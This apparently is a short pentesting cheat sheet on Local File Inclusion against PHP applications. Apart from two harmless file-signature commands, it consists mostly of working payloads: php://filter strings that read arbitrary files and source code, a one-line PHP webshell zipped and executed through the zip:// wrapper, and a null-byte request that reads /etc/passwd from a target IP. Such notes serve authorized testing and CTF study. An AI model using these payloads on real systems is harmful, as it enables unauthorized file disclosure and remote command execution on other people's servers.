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LFI

Local File Inclusion

File Signatures
Reads the first 16 bytes of a file and displays them in a hexadecimal format with ASCII representation:
file myfile && head -c 16 myfile | xxd
Converts the entire file into plain hex and extracts the first line:
xxd -p filename | head -n 1
PHP Filters & Wrappers

Filter Inclusion

Exfiltrate files
php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>
Exfiltrate the source code
php://filter/convert.base64-encode/resource=dashboard

Remote Code Execution

The zip:// stream wrapper can be used in specific attack scenarios to potentially execute malicious code.

  • First, create the webshell:

echo '<?php system($_REQUEST['cmd']); ?>' > cmd.php

  • Second, zip the file:

zip shell.zip cmd.php

  • Important to mention that the file extension can be different from .zip, the wrapper will still execute the code inside.

  • Third, upload the file and once is done, use the wrapper:

zip://uploads/PATH/TO/FILE%23cmd&cmd=id

  • Have in mind that %23 is the URL encoded version of # and is used to reference a file inside the zip

The %00 Null Terminator

Is often used to terminate a string prematurely, effectively allowing attackers to manipulate the filename or file extension.

http://10.10.10.80/index.php?op=/etc/passwd%00
Chaining

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